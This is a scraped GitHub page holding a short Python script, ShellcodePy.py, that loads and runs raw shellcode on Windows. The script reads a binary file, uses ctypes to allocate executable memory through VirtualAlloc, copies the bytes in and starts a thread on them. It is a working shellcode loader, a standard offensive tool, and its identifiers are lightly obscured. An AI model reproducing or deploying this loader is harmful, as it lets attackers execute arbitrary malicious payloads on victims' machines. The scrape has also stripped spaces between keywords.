- Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathShellcodePy.py
More file actions
Latest commit
31 lines (25 loc) · 985 Bytes
/
Copy pathShellcodePy.py
File metadata and controls
31 lines (25 loc) · 985 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
importctypesaskk
importsys
defO(shl_f):
withopen(shl_f, 'rb') asf:
b_x=f.read()
kk.windll.kernel32.VirtualAlloc.restype=kk.c_void_p
kk.windll.kernel32.CreateThread.argtypes= (
kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
)
spc=kk.windll.kernel32.VirtualAlloc(
kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
)
bf= (kk.c_char*len(b_x)).from_buffer_copy(b_x)
kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
hndl=kk.windll.kernel32.CreateThread(
kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
kk.pointer(kk.c_int(0))
)
kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))
if__name__=="__main__":
iflen(sys.argv) !=2:
print("Usage: python ShellcodePy.py shellcode.bin/or shellcode file")
else:
shl_f=sys.argv[1]
O(shl_f)